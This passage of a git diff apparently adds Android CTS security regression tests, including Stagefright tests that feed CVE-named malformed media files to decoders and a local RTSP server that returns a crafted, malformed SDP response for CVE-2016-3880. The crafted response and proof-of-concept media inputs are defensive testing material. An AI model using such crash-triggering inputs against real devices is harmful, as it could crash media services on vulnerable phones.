+++ b/tests/tests/security/res/raw/cve_2019_14132.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_1989_h264.mp4 b/tests/tests/security/res/raw/cve_2019_1989_h264.mp4
new file mode 100644
index 0000000..bc6f1ed
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_1989_h264.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_1989_info.mp4 b/tests/tests/security/res/raw/cve_2019_1989_info.mp4
new file mode 100644
index 0000000..57b59b5
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_1989_info.mp4
@@ -0,0 +1,46 @@
+1 706
+1 27
+1 8
+0 59463
+0 8879
+0 1702
+0 1196
+0 967
+0 6219
+0 1727
+0 542
+0 600
+0 9607
+0 2226
+0 763
+0 752
+0 10565
+0 2636
+0 966
+0 1030
+0 11734
+0 3270
+0 1056
+0 1003
+0 11993
+0 3253
+0 1066
+0 1091
+0 12431
+0 3425
+0 1118
+0 1149
+0 5523
+0 6016
+0 5999
+0 5897
+0 12690
+0 3997
+0 1127
+1 27
+1 7
+0 39989
+0 2702
+0 4955
+0 4868
+0 5516
diff --git a/tests/tests/security/res/raw/cve_2019_2108_hevc.mp4 b/tests/tests/security/res/raw/cve_2019_2108_hevc.mp4
new file mode 100644
index 0000000..cb2df96
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_2108_hevc.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_2222_framelen.mp4 b/tests/tests/security/res/raw/cve_2019_2222_framelen.mp4
new file mode 100644
index 0000000..a4bc980
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_2222_framelen.mp4
@@ -0,0 +1,8 @@
+35
+28
+12
+6
+10
+31
+8
+130
diff --git a/tests/tests/security/res/raw/cve_2019_2222_hevc.mp4 b/tests/tests/security/res/raw/cve_2019_2222_hevc.mp4
new file mode 100644
index 0000000..26b8007
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_2222_hevc.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_2223_framelen.mp4 b/tests/tests/security/res/raw/cve_2019_2223_framelen.mp4
new file mode 100644
index 0000000..a1c3cfc
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_2223_framelen.mp4
@@ -0,0 +1,5 @@
+29
+12
+9
+23
+73
diff --git a/tests/tests/security/res/raw/cve_2019_2223_hevc.mp4 b/tests/tests/security/res/raw/cve_2019_2223_hevc.mp4
new file mode 100644
index 0000000..f9d5dbc
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_2223_hevc.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_2253.ogg b/tests/tests/security/res/raw/cve_2019_2253.ogg
new file mode 100644
index 0000000..98fe781
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_2253.ogg
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2020_3641.mp4 b/tests/tests/security/res/raw/cve_2020_3641.mp4
new file mode 100644
index 0000000..ee66c7c
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2020_3641.mp4
Binary files differ
diff --git a/tests/tests/security/src/android/security/cts/ActivityManagerTest.java b/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
index 47730e1..1e0232b 100644
--- a/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
+++ b/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
@@ -16,10 +16,13 @@
package android.security.cts;
import android.app.ActivityManager;
+import android.app.ApplicationExitInfo;
+import android.content.Context;
import android.os.IBinder;
import android.platform.test.annotations.SecurityTest;
import android.util.Log;
+import androidx.test.InstrumentationRegistry;
import junit.framework.TestCase;
import java.lang.reflect.InvocationTargetException;
@@ -76,4 +79,42 @@
assertNotNull("Expect SecurityException by attaching null application", securityException);
}
+
+ // b/165595677
+ @SecurityTest(minPatchLevel = "2020-10")
+ public void testActivityManager_appExitReasonPackageNames() {
+ final String mockPackage = "com.foo.bar";
+ final String realPackage = "com.android.compatibility.common.deviceinfo";
+ final Context context = InstrumentationRegistry.getTargetContext();
+ final ActivityManager am = context.getSystemService(ActivityManager.class);
+ try {
+ am.getHistoricalProcessExitReasons(mockPackage, 0, 0);
+ fail("Expecting SecurityException");
+ } catch (SecurityException e) {
+ // expected
+ }
+
+ final int totalLoops = 10000;
+ int mockPackagescores = 0;
+ final double tolerance = 0.2d;
+ for (int i = 0; i < totalLoops; i++) {
+ final long realPackageTiming = measureGetHistoricalProcessExitReasons(am, realPackage);
+ final long mockPackageTiming = measureGetHistoricalProcessExitReasons(am, mockPackage);
+ mockPackagescores += mockPackageTiming < realPackageTiming ? 1 : 0;
+ }
+
+ assertTrue(Math.abs((double) mockPackagescores / totalLoops - 0.5d) < tolerance);
+ }
+
+ /**
+ * Run ActivityManager.getHistoricalProcessExitReasons once, return the time spent on it.
+ */
+ private long measureGetHistoricalProcessExitReasons(ActivityManager am, String pkg) {
+ final long start = System.nanoTime();
+ try {
+ am.getHistoricalProcessExitReasons(pkg, 0, 0);
+ } catch (Exception e) {
+ }
+ return System.nanoTime() - start;
+ }
}
diff --git a/tests/tests/security/src/android/security/cts/MotionEventTest.java b/tests/tests/security/src/android/security/cts/MotionEventTest.java
index 0e39863..f7d3edc 100644
--- a/tests/tests/security/src/android/security/cts/MotionEventTest.java
+++ b/tests/tests/security/src/android/security/cts/MotionEventTest.java
@@ -129,19 +129,21 @@
WidgetTestUtils.runOnMainAndLayoutSync(mActivityRule, view, null /*runnable*/,
true /*forceLayout*/);
- // This ensures the window is visible, where the code above ensures
+ // This ensures the window is visible, where the code above ensures
// the view is on screen.
mActivityRule.runOnUiThread(() -> {
// This will force WindowManager to relayout, ensuring the
- // transaction to show the window are sent to the graphics code.
+ // transaction to show the window are sent to the graphics code.
wm.updateViewLayout(view, wmlp);
});
+ // Find the position inside the main activity and outside of the overlays.
FutureTask<Point> clickLocationTask = new FutureTask<>(() -> {
final int[] viewLocation = new int[2];
- view.getLocationOnScreen(viewLocation);
+ final View decorView = mActivity.getWindow().getDecorView();
+ decorView.getLocationOnScreen(viewLocation);
// Set y position to the center of the view, to make sure it is away from the status bar
- return new Point(viewLocation[0], viewLocation[1] + view.getHeight() / 2);
+ return new Point(viewLocation[0], viewLocation[1] + decorView.getHeight() / 2);
});
mActivity.runOnUiThread(clickLocationTask);
Point viewLocation = clickLocationTask.get(5, TimeUnit.SECONDS);
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index 66059d8..937451d 100644
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -40,12 +40,16 @@
import android.opengl.GLES11Ext;
import android.os.Looper;
import android.os.SystemClock;
+import android.platform.test.annotations.AppModeFull;
+import android.os.Parcel;
import android.platform.test.annotations.SecurityTest;
import android.util.Log;
import android.view.Surface;
import android.webkit.cts.CtsTestServer;
import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.mainline.MainlineModule;
+import com.android.compatibility.common.util.mainline.ModuleDetector;
import java.io.BufferedInputStream;
import java.io.BufferedReader;
@@ -94,6 +98,7 @@
* Verify that the device is not vulnerable to any known Stagefright
* vulnerabilities.
*/
+@AppModeFull
@RunWith(AndroidJUnit4.class)
public class StagefrightTest {
static final String TAG = "StagefrightTest";
@@ -1254,8 +1259,258 @@
***********************************************************/
@Test
+ @SecurityTest(minPatchLevel = "2018-09")
+ public void testStagefright_cve_2018_9474() throws Exception {
+ MediaPlayer mp = new MediaPlayer();
+ RenderTarget renderTarget = RenderTarget.create();
+ Surface surface = renderTarget.getSurface();
+ mp.setSurface(surface);
+ AssetFileDescriptor fd = getInstrumentation().getContext().getResources()
+ .openRawResourceFd(R.raw.cve_2018_9474);
+
+ mp.setDataSource(fd.getFileDescriptor(), fd.getStartOffset(), fd.getLength());
+ mp.prepare();
+
+ MediaPlayer.TrackInfo[] trackInfos = mp.getTrackInfo();
+ if (trackInfos == null || trackInfos.length == 0) {
+ return;
+ }
+
+ MediaPlayer.TrackInfo trackInfo = trackInfos[0];
+
+ int trackType = trackInfo.getTrackType();
+ MediaFormat format = trackInfo.getFormat();
+
+ Parcel data = Parcel.obtain();
+ trackInfo.writeToParcel(data, 0);
+
+ data.setDataPosition(0);
+ int trackTypeFromParcel = data.readInt();
+ String mimeTypeFromParcel = data.readString();
+ data.recycle();
+
+ if (trackType == trackTypeFromParcel) {
+ assertFalse("Device *IS* vulnerable to CVE-2018-9474",
+ mimeTypeFromParcel.equals("und"));
+ }
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2019-09")
+ public void testStagefright_cve_2019_2108() throws Exception {
+ doStagefrightTestRawBlob(R.raw.cve_2019_2108_hevc, "video/hevc", 320, 240,
+ new CrashUtils.Config().setSignals(CrashUtils.SIGSEGV, CrashUtils.SIGBUS,
+ CrashUtils.SIGABRT));
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2016-09")
+ public void testStagefright_cve_2016_3880() throws Exception {
+ Thread server = new Thread() {
+ @Override
+ public void run() {
+ try (ServerSocket serverSocket = new ServerSocket(8080) {
+ {setSoTimeout(10_000);} // time out after 10 seconds
+ };
+ Socket conn = serverSocket.accept()
+ ) {
+ OutputStream outputstream = conn.getOutputStream();
+ InputStream inputStream = conn.getInputStream();
+ byte input[] = new byte[65536];
+ inputStream.read(input, 0, 65536);
+ String inputStr = new String(input);
+ if (inputStr.contains("DESCRIBE rtsp://127.0.0.1:8080/cve_2016_3880")) {
+ byte http[] = ("RTSP/1.0 200 OK\r\n"
+ + "Server: stagefright/1.2 (Linux;Android 9)\r\n"
+ + "Content-Type: application/sdp\r\n"
+ + "Content-Base: rtsp://127.0.0.1:8080/cve_2016_3880\r\n"
+ + "Content-Length: 379\r\n"
+ + "Cache-Control: no-cache\r\nCSeq: 1\r\n\r\n").getBytes();
+
+ byte sdp[] = ("v=0\r\no=- 64 233572944 IN IP4 127.0.0.0\r\n"
+ + "s=QuickTime\r\nt=0 0\r\na=range:npt=now-\r\n"
+ + "m=video 5434 RTP/AVP 96123456\r\nc=IN IP4 127.0.0.1\r\n"
+ + "b=AS:320000\r\na=rtpmap:96123456 H264/90000\r\n"
+ + "a=fmtp:96123456 packetization-mode=1;profile-level-id=42001E;"
+ + "sprop-parameter-sets=Z0IAHpZUBaHogA==,aM44gA==\r\n"
+ + "a=cliprect:0,0,480,270\r\na=framesize:96123456 720-480\r\n"
+ + "a=control:track1\r\n").getBytes();
+
+ outputstream.write(http);
+ outputstream.write(sdp);
+ outputstream.flush();
+ }
+ } catch (IOException e) {
+ }
+ }
+ };
+ server.start();
+ String uri = "rtsp://127.0.0.1:8080/cve_2016_3880";
+ final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener(new CrashUtils.Config()
+ .setSignals(CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT));
+ LooperThread t = new LooperThread(new Runnable() {
+ @Override
+ public void run() {
+ MediaPlayer mp = new MediaPlayer();
+ mp.setOnErrorListener(mpcl);
+ mp.setOnPreparedListener(mpcl);
+ mp.setOnCompletionListener(mpcl);
+ RenderTarget renderTarget = RenderTarget.create();
+ Surface surface = renderTarget.getSurface();
+ mp.setSurface(surface);
+ AssetFileDescriptor fd = null;
+ try {
+ mp.setDataSource(uri);
+ mp.prepareAsync();
+ } catch (IOException e) {
+ Log.e(TAG, e.toString());
+ } finally {
+ closeQuietly(fd);
+ }
+ Looper.loop();
+ mp.release();
+ }
+ });
+ t.start();
+ assertFalse("Device *IS* vulnerable to CVE-2016-3880",
+ mpcl.waitForError() == MediaPlayer.MEDIA_ERROR_SERVER_DIED);
+ t.stopLooper();
+ t.join();
+ server.join();
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-05")
+ public void testStagefright_cve_2020_3641() throws Exception {
+ doStagefrightTest(R.raw.cve_2020_3641);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-04")
+ public void testStagefright_cve_2019_14127() throws Exception {
+ doStagefrightTest(R.raw.cve_2019_14127);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-04")
+ public void testStagefright_cve_2019_14132() throws Exception {
+ doStagefrightTest(R.raw.cve_2019_14132);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-03")
+ public void testStagefright_cve_2019_10591() throws Exception {
+ doStagefrightTest(R.raw.cve_2019_10591);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-02")
+ public void testStagefright_cve_2019_10590() throws Exception {
+ doStagefrightTest(R.raw.cve_2019_10590);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-01")
+ public void testStagefright_cve_2019_14004() throws Exception {
+ doStagefrightTest(R.raw.cve_2019_14004);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-01")
+ public void testStagefright_cve_2019_14003() throws Exception {
+ doStagefrightTest(R.raw.cve_2019_14003);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-02")
+ public void testStagefright_cve_2019_14057() throws Exception {
+ doStagefrightTest(R.raw.cve_2019_14057);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-01")
+ public void testStagefright_cve_2019_10532() throws Exception {
+ doStagefrightTest(R.raw.cve_2019_10532);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-01")
+ public void testStagefright_cve_2019_10578() throws Exception {
+ doStagefrightTest(R.raw.cve_2019_10578);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-03")
+ public void testStagefright_cve_2019_14061() throws Exception {
+ doStagefrightTest(R.raw.cve_2019_14061, 180000);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-01")
+ public void testStagefright_cve_2019_10611() throws Exception {
+ doStagefrightTest(R.raw.cve_2019_10611);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2019-08")
+ public void testStagefright_cve_2019_10489() throws Exception {
+ doStagefrightTest(R.raw.cve_2019_10489);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-03")
+ public void testStagefright_cve_2019_14048() throws Exception {
+ doStagefrightTest(R.raw.cve_2019_14048);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2019-07")
+ public void testStagefright_cve_2019_2253() throws Exception {
+ doStagefrightTest(R.raw.cve_2019_2253);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-01")
+ public void testStagefright_cve_2019_10579() throws Exception {
+ doStagefrightTestANR(R.raw.cve_2019_10579);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-01")
+ public void testStagefright_cve_2019_14005() throws Exception {
+ doStagefrightTest(R.raw.cve_2019_14005);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-01")
+ public void testStagefright_cve_2019_14006() throws Exception {
+ doStagefrightTest(R.raw.cve_2019_14006);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-01")
+ public void testStagefright_CVE_2019_14016() throws Exception {
+ doStagefrightTest(R.raw.cve_2019_14016);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-01")
+ public void testStagefright_CVE_2019_14017() throws Exception {
+ doStagefrightTest(R.raw.cve_2019_14017);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2018-07")
+ public void testStagefright_cve_2018_9412() throws Exception {
+ doStagefrightTest(R.raw.cve_2018_9412, 180000);
+ }
+
+ @Test
@SecurityTest(minPatchLevel = "Unknown")
public void testStagefright_bug_142641801() throws Exception {
+ assumeFalse(ModuleDetector.moduleIsPlayManaged(
+ getInstrumentation().getContext().getPackageManager(),
+ MainlineModule.MEDIA));
doStagefrightTest(R.raw.bug_142641801);
}
@@ -1457,10 +1712,49 @@
doStagefrightTest(R.raw.cve_2016_3879, new CrashUtils.Config().checkMinAddress(false));
}
+ /***********************************************************
+ to prevent merge conflicts, add P tests below this comment,
+ before any existing test methods
+ ***********************************************************/
+
+ @Test
+ @SecurityTest(minPatchLevel = "2019-12")
+ public void testStagefright_cve_2019_2222() throws Exception {
+ // TODO(b/170987914): This also skips testing hw_codecs.
+ // Update doStagefrightTestRawBlob to skip just the sw_codec test.
+ assumeFalse(ModuleDetector.moduleIsPlayManaged(
+ getInstrumentation().getContext().getPackageManager(),
+ MainlineModule.MEDIA_SOFTWARE_CODEC));
+ int[] frameSizes = getFrameSizes(R.raw.cve_2019_2222_framelen);
+ doStagefrightTestRawBlob(R.raw.cve_2019_2222_hevc, "video/hevc", 320, 240, frameSizes);
+ }
+
private void doStagefrightTest(final int rid) throws Exception {
doStagefrightTest(rid, null);
}
+ /***********************************************************
+ to prevent merge conflicts, add Q tests below this comment,
+ before any existing test methods
+ ***********************************************************/
+
+ @Test
+ @SecurityTest(minPatchLevel = "2019-12")
+ public void testStagefright_cve_2019_2223() throws Exception {
+ int[] frameSizes = getFrameSizes(R.raw.cve_2019_2223_framelen);
+ doStagefrightTestRawBlob(R.raw.cve_2019_2223_hevc, "video/hevc", 320, 240, frameSizes);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2019-03")
+ public void testStagefright_cve_2019_1989() throws Exception {
+ Object obj[] = getFrameInfo(R.raw.cve_2019_1989_info);
+ int[] isHeader = (int[])obj [0];
+ int[] frameSizes = (int[])obj [1];
+ doStagefrightTestRawBlob(R.raw.cve_2019_1989_h264, "video/avc",
+ 1920, 1080, frameSizes, isHeader, new CrashUtils.Config());
+ }
+
private void doStagefrightTest(final int rid, CrashUtils.Config config) throws Exception {
NetworkSecurityPolicy policy = NetworkSecurityPolicy.getInstance();
policy.setCleartextTrafficPermitted(true);
@@ -2038,7 +2332,11 @@
renderTarget.destroy();
}
}
- ex.unselectTrack(t);
+ try {
+ ex.unselectTrack(t);
+ } catch (IllegalArgumentException e) {
+ // since we're just cleaning up, we don't care if it fails
+ }
}
ex.release();
String cve = rname.replace("_", "-").toUpperCase();
@@ -2249,6 +2547,25 @@
return frameSizes;
}
+ private Object[] getFrameInfo(int rid) throws IOException {
+ final Context context = getInstrumentation().getContext();
+ final Resources resources = context.getResources();
+ AssetFileDescriptor fd = resources.openRawResourceFd(rid);
+ FileInputStream fis = fd.createInputStream();
+ byte[] frameInfo = new byte[(int) fd.getLength()];
+ fis.read(frameInfo);
+ fis.close();
+ String[] lines = new String(frameInfo).trim().split("\\r?\\n");
+ int isHeader[] = new int[lines.length];
+ int frameSizes[] = new int[lines.length];
+ for (int i = 0; i < lines.length; i++) {
+ String[] values = lines[i].trim().split("\\s+");
+ isHeader[i] = Integer.parseInt(values[0]);
+ frameSizes[i] = Integer.parseInt(values[1]);
+ }
+ return new Object[] {isHeader, frameSizes};
+ }
+
private void runWithTimeout(Runnable runner, int timeout) {
Thread t = new Thread(runner);
t.start();
@@ -2533,6 +2850,136 @@
thr.join();
}
+ private void doStagefrightTestRawBlob(int rid, String mime, int initWidth, int initHeight,
+ int frameSizes[], int isHeader[], CrashUtils.Config config) throws Exception {
+
+ final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener(config);
+ final Context context = getInstrumentation().getContext();
+ final Resources resources = context.getResources();
+ LooperThread thr = new LooperThread(new Runnable() {
+ @Override
+ public void run() {
+ MediaPlayer mp = new MediaPlayer();
+ mp.setOnErrorListener(mpcl);
+ AssetFileDescriptor fd = null;
+ try {
+ fd = resources.openRawResourceFd(R.raw.good);
+ // the onErrorListener won't receive MEDIA_ERROR_SERVER_DIED until
+ // setDataSource has been called
+ mp.setDataSource(fd.getFileDescriptor(), fd.getStartOffset(), fd.getLength());
+ fd.close();
+ } catch (Exception e) {
+ // this is a known-good file, so no failure should occur
+ fail("setDataSource of known-good file failed");
+ }
+ synchronized (mpcl) {
+ mpcl.notify();
+ }
+ Looper.loop();
+ mp.release();
+ }
+ });
+ thr.start();
+ // wait until the thread has initialized the MediaPlayer
+ synchronized (mpcl) {
+ mpcl.wait();
+ }
+
+ AssetFileDescriptor fd = resources.openRawResourceFd(rid);
+ byte[] blob = new byte[(int) fd.getLength()];
+ FileInputStream fis = fd.createInputStream();
+ int numRead = fis.read(blob);
+ fis.close();
+
+ // find all the available decoders for this format
+ ArrayList<String> matchingCodecs = new ArrayList<String>();
+ int numCodecs = MediaCodecList.getCodecCount();
+ for (int i = 0; i < numCodecs; i++) {
+ MediaCodecInfo info = MediaCodecList.getCodecInfoAt(i);
+ if (info.isEncoder()) {
+ continue;
+ }
+ try {
+ MediaCodecInfo.CodecCapabilities caps = info.getCapabilitiesForType(mime);
+ if (caps != null) {
+ matchingCodecs.add(info.getName());
+ }
+ } catch (IllegalArgumentException e) {
+ // type is not supported
+ }
+ }
+
+ if (matchingCodecs.size() == 0) {
+ Log.w(TAG, "no codecs for mime type " + mime);
+ }
+ String rname = resources.getResourceEntryName(rid);
+ // decode this blob once with each matching codec
+ for (String codecName : matchingCodecs) {
+ Log.i(TAG, "Decoding blob " + rname + " using codec " + codecName);
+ MediaCodec codec = MediaCodec.createByCodecName(codecName);
+ MediaFormat format = MediaFormat.createVideoFormat(mime, initWidth, initHeight);
+ try {
+ codec.configure(format, null, null, 0);
+ codec.start();
+ } catch (Exception e) {
+ Log.i(TAG, "Exception from codec " + codecName);
+ releaseCodec(codec);
+ continue;
+ }
+ try {
+ MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
+ ByteBuffer[] inputBuffers = codec.getInputBuffers();
+ int numFrames = 0;
+ if (frameSizes != null) {
+ numFrames = frameSizes.length;
+ }
+ if (0 == numFrames) {
+ fail("Improper picture length file");
+ }
+ int offset = 0;
+ int j = 0;
+ while (j < numFrames) {
+ int flags = 0;
+ int bufidx = codec.dequeueInputBuffer(5000);
+ if (bufidx >= 0) {
+ inputBuffers[bufidx].rewind();
+ Log.i(TAG, "Got buffer index " + bufidx + " with length "
+ + inputBuffers[bufidx].capacity());
+ if (isHeader[j] == 1) {
+ flags = MediaCodec.BUFFER_FLAG_CODEC_CONFIG;
+ }
+ if (j == (numFrames - 1)) {
+ flags = MediaCodec.BUFFER_FLAG_END_OF_STREAM;
+ }
+ Log.i(TAG, "Feeding frame " + j + " with framelen " + frameSizes[j]
+ + " offset " + offset + " and flags " + flags);
+ inputBuffers[bufidx].put(blob, offset, frameSizes[j]);
+ codec.queueInputBuffer(bufidx, 0, frameSizes[j], 0, flags);
+ offset = offset + frameSizes[j];
+ j++;
+ } else {
+ Log.i(TAG, "no input buffer");
+ }
+ bufidx = codec.dequeueOutputBuffer(info, 5000);
+ if (bufidx >= 0) {
+ codec.releaseOutputBuffer(bufidx, false);
+ } else {
+ Log.i(TAG, "no output buffer");
+ }
+ }
+ } catch (Exception e) {
+ // ignore, not a security issue
+ } finally {
+ releaseCodec(codec);
+ }
+ }
+ String cve = rname.replace("_", "-").toUpperCase();
+ assertFalse("Device *IS* vulnerable to " + cve,
+ mpcl.waitForError() == MediaPlayer.MEDIA_ERROR_SERVER_DIED);
+ thr.stopLooper();
+ thr.join();
+ }
+
private void doStagefrightTestMediaPlayerANR(final int rid, final String uri) throws Exception {
doStagefrightTestMediaPlayerANR(rid, uri, null);
}
diff --git a/tests/tests/slice/src/android/slice/cts/SliceProviderTest.kt b/tests/tests/slice/src/android/slice/cts/SliceProviderTest.kt
index ca76d2b..e2fd053 100644
--- a/tests/tests/slice/src/android/slice/cts/SliceProviderTest.kt
+++ b/tests/tests/slice/src/android/slice/cts/SliceProviderTest.kt
@@ -21,6 +21,7 @@
import android.net.Uri
import android.os.Bundle
+import android.platform.test.annotations.SecurityTest
import androidx.test.rule.ActivityTestRule
import androidx.test.runner.AndroidJUnit4
import org.junit.Before
@@ -61,6 +62,7 @@
}
@Test
+ @SecurityTest(minPatchLevel = "2019-11-01")
fun testCallSliceUri_ValidAuthority() {
assumeFalse(isSlicesDisabled)
@@ -68,6 +70,7 @@
}
@Test(expected = SecurityException::class)
+ @SecurityTest(minPatchLevel = "2019-11-01")
fun testCallSliceUri_ShadyAuthority() {
assumeFalse(isSlicesDisabled)
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/CellBroadcastDataMigrationTest.java b/tests/tests/telephony/current/src/android/telephony/cts/CellBroadcastDataMigrationTest.java
index 3be25e6..72239ac 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/CellBroadcastDataMigrationTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/CellBroadcastDataMigrationTest.java
@@ -30,9 +30,12 @@
public class CellBroadcastDataMigrationTest {
private static final String TAG = CellBroadcastDataMigrationTest.class.getSimpleName();
+ private static final String DEFAULT_LEGACY_DATA_MIGRATION_APP =
+ "com.android.cellbroadcastreceiver";
+
/**
* To support data migration when upgrading from an older device, device need to define
- * legacy content provider. This tests verify that the legacy cellbroadcast contentprovider
+ * legacy content provider. This tests verify that the AOSP legacy cellbroadcast contentprovider
* only surfaces data for migration. The data should be protected by proper permissions and
* it should be headless without any other activities, services or providers to handle alerts.
*/
@@ -49,6 +52,13 @@
assertEquals("Legacy provider at MediaStore.AUTHORITY_LEGACY must protect its data",
android.Manifest.permission.READ_CELL_BROADCASTS, legacy.readPermission);
+ // Skip headless check for OEM defined data migration app. e.g, OEMs might use messaging
+ // apps to store CBR data pre-R.
+ if (!DEFAULT_LEGACY_DATA_MIGRATION_APP.equals(legacy.applicationInfo.packageName)) {
+ Log.d(TAG, "Device support data migration from OEM apps");
+ return;
+ }
+
// And finally verify that legacy provider is headless. We expect the legacy provider only
// surface the old data for migration rather than handling emergency alerts.
final PackageInfo legacyPackage = InstrumentationRegistry.getContext().getPackageManager()
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/IwlanModeTest.java b/tests/tests/telephony/current/src/android/telephony/cts/IwlanModeTest.java
index 38c80b8..a68ebb5 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/IwlanModeTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/IwlanModeTest.java
@@ -59,13 +59,10 @@
int id = res.getIdentifier("config_wlan_data_service_package", "string", "android");
String wlanDataServicePackage = res.getString(id);
assertNotEquals("", wlanDataServicePackage);
- assertNotEquals("com.android.phone", wlanDataServicePackage);
id = res.getIdentifier("config_wlan_network_service_package", "string", "android");
String wlanNetworkServicePackage = res.getString(id);
assertNotEquals("", wlanNetworkServicePackage);
- assertNotEquals("com.android.phone", wlanNetworkServicePackage);
-
}
}
}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyLocationTests.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyLocationTests.java
index 7b522f7..f5e5b7a 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyLocationTests.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyLocationTests.java
@@ -1,5 +1,7 @@
package android.telephony.cts;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertNull;
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
@@ -131,6 +133,28 @@
}
@Test
+ public void testSdk28ServiceStateListeningWithoutPermissions() {
+ if (!mShouldTest) return;
+
+ withRevokedPermission(LOCATION_ACCESS_APP_SDK28_PACKAGE, () -> {
+ ServiceState ss = (ServiceState) performLocationAccessCommand(
+ CtsLocationAccessService.COMMAND_GET_SERVICE_STATE_FROM_LISTENER);
+ assertNotNull(ss);
+ assertNotEquals(ss, ss.createLocationInfoSanitizedCopy(false));
+
+ withRevokedPermission(LOCATION_ACCESS_APP_SDK28_PACKAGE, () -> {
+ ServiceState ss1 = (ServiceState) performLocationAccessCommand(
+ CtsLocationAccessService
+ .COMMAND_GET_SERVICE_STATE_FROM_LISTENER);
+ assertNotNull(ss1);
+ assertNotEquals(ss1, ss1.createLocationInfoSanitizedCopy(true));
+ },
+ Manifest.permission.ACCESS_COARSE_LOCATION);
+ },
+ Manifest.permission.ACCESS_FINE_LOCATION);
+ }
+
+ @Test
public void testRegistryPermissionsForCellLocation() {
if (!mShouldTest) return;
@@ -150,6 +174,18 @@
}
@Test
+ public void testSdk28RegistryPermissionsForCellLocation() {
+ if (!mShouldTest) return;
+
+ withRevokedPermission(LOCATION_ACCESS_APP_SDK28_PACKAGE, () -> {
+ CellLocation cellLocation = (CellLocation) performLocationAccessCommand(
+ CtsLocationAccessService.COMMAND_LISTEN_CELL_LOCATION);
+ assertNull(cellLocation);
+ },
+ Manifest.permission.ACCESS_COARSE_LOCATION);
+ }
+
+ @Test
public void testRegistryPermissionsForCellInfo() {
if (!mShouldTest) return;
@@ -169,6 +205,18 @@
}
@Test
+ public void testSdk28RegistryPermissionsForCellInfo() {
+ if (!mShouldTest) return;
+
+ withRevokedPermission(LOCATION_ACCESS_APP_SDK28_PACKAGE, () -> {
+ List<CellInfo> cis = (List<CellInfo>) performLocationAccessCommand(
+ CtsLocationAccessService.COMMAND_LISTEN_CELL_INFO);
+ assertTrue(cis == null || cis.isEmpty());
+ },
+ Manifest.permission.ACCESS_COARSE_LOCATION);
+ }
+
+ @Test
public void testSdk28CellLocation() {
if (!mShouldTest) return;
diff --git a/tests/tests/transition/src/android/transition/cts/PropagationTest.java b/tests/tests/transition/src/android/transition/cts/PropagationTest.java
index 783594c..0d46c74 100644
--- a/tests/tests/transition/src/android/transition/cts/PropagationTest.java
+++ b/tests/tests/transition/src/android/transition/cts/PropagationTest.java
@@ -65,13 +65,18 @@
mTransition.setEpicenterCallback(new Transition.EpicenterCallback() {
@Override
public Rect onGetEpicenter(Transition transition) {
- return new Rect(0, 0, redValues.view.getWidth(), redValues.view.getHeight());
+ final int[] offset = new int[2];
+ redValues.view.getLocationOnScreen(offset);
+
+ return new Rect(
